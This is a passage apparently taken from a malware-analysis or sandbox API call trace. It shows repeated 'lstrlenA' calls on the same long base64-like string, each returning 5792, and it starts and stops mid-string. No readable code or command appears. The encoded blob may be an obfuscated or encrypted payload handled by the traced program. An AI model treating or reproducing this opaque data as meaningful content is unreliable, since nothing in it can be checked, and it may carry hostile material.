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") returned 5792 [0128.359] lstrlenA (lpString="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") returned 5792 [0128.359] lstrlenA (lpString="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